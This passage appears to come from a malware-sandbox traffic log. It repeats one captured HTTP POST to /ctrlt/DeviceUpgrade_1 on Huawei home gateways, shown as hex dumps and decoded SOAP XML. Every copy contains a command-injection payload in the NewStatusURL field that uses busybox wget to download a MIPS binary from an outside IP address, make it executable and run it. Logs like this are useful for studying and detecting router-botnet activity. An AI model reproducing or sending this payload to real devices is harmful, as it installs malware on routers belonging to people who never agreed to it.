6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 